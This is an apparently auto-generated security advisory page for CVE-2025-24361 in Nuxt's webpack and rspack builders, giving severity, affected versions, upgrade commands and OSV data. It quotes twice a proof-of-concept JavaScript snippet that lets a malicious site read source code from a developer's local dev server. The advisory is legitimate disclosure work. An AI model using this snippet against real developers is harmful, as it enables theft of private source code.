CVE-2025-24361: @nuxt/webpack builder Opening A Malicious Website While Vulnerability

MODERATE
Advisory Identifier: GHSA-4gf7-ff8x-hq99
CVSS 5.3
CWE-749
Published
Advisory Summary

CVE-2025-24361 is a MODERATE (CVSS 5.3) opening a malicious website while vulnerability (CWE-749: Exposed Dangerous Method or Function) affecting @nuxt/webpack builder libraries in the npm ecosystem. The issue involves opening a malicious website while running a nuxt dev server could allow read-only access to code. Remediation is available by upgrading affected packages to version 3.15.3.

CVE-2025-24361 at a Glance

CVE Identifier CVE-2025-24361
GHSA Identifier GHSA-4gf7-ff8x-hq99
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-749: Exposed Dangerous Method or Function
Affected Product @nuxt/webpack builder
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2025-24361

To remediate this vulnerability, upgrade all affected @nuxt/webpack builder dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nuxt/webpack-builder fixed: 3.15.3
npm install @nuxt/webpack-builder@3.15.3
@nuxt/rspack-builder fixed: 3.15.3
npm install @nuxt/rspack-builder@3.15.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nuxt/webpack-builder

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-24361, inspect your project dependencies using npm:

npm ls @nuxt/webpack-builder

Analyze the terminal output to locate any version of @nuxt/webpack builder in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.15.3), your application is affected.

Note: The npm ls @nuxt/webpack-builder command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-749: Exposed Dangerous Method or Function, where the product provides an applications programming interface (api) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. In @nuxt/webpack builder, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site. ### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:3000/_nuxt/app.js">` in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code. ### PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run `npm run dev` 1. Open `http://localhost:3000` 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console. ```js const script = document.createElement('script') script.src = 'http://localhost:3000/_nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxt_app) { const moduleList = window.webpackChunknuxt_app[page][1] console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script) ``` ![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85) It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field). ### Impact Users using webpack / rspack builder may get the source code stolen by malicious websites.

CVE-2025-24361 Affected @nuxt/webpack builder Versions

2 component(s)
Fixed Versions:
3.15.3
Product / Package Ecosystem Affected Versions Fixed Version
@nuxt/webpack-builder
npm
≥ 3.0.0
< 3.15.3
3.15.3
@nuxt/rspack-builder
npm
≥ 3.12.2
< 3.15.3
3.15.3

References

Frequently Asked Questions

What is CVE-2025-24361?
CVE-2025-24361 is a security vulnerability in @nuxt/webpack builder involving Opening a malicious website while running a Nuxt dev server could allow read-only access to code under CWE-749: Exposed Dangerous Method or Function.
Which @nuxt/webpack builder versions are affected?
Affected versions include releases prior to 3.15.3 across affected packages: @nuxt/webpack-builder, @nuxt/rspack-builder.
What version fixes CVE-2025-24361?
Upgrading to 3.15.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nuxt/webpack-builder affected?
Yes, @nuxt/webpack-builder is affected in releases prior to 3.15.3. Upgrade your dependency to 3.15.3 or later.
Is @nuxt/rspack-builder affected?
Yes, @nuxt/rspack-builder is affected in releases prior to 3.15.3. Upgrade your dependency to 3.15.3 or later.
What is the CVSS score of CVE-2025-24361?
CVE-2025-24361 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2025-24361?
CVE-2025-24361 is classified under CWE-749: Exposed Dangerous Method or Function (The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.).
How can I check npm dependencies for CVE-2025-24361?
Run the dependency tree command: 'npm ls @nuxt/webpack-builder'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4gf7-ff8x-hq99",
  "modified" : "2025-01-30T03:05:05Z",
  "published" : "2025-01-27T11:31:41Z",
  "aliases" : [ "CVE-2025-24361" ],
  "summary" : "Opening a malicious website while running a Nuxt dev server could allow read-only access to code",
  "details" : "### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:3000/_nuxt/app.js\">` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:3000/_nuxt/app.js'\nscript.addEventListener('load', () => {\n  for (const page in window.webpackChunknuxt_app) {\n    const moduleList = window.webpackChunknuxt_app[page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement('p')\n      const title = document.createElement('strong')\n      title.textContent = key\n      const code = document.createElement('code')\n      code.textContent = moduleList[key].toString()\n      p.append(title, ':', document.createElement('br'), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n\n![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85)\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nuxt/webpack-builder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.15.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nuxt/rspack-builder"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.12.2"
      }, {
        "fixed" : "3.15.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-24361"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nuxt/nuxt"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-749" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-27T11:31:41Z",
    "nvd_published_at" : "2025-01-25T01:15:24Z"
  }
}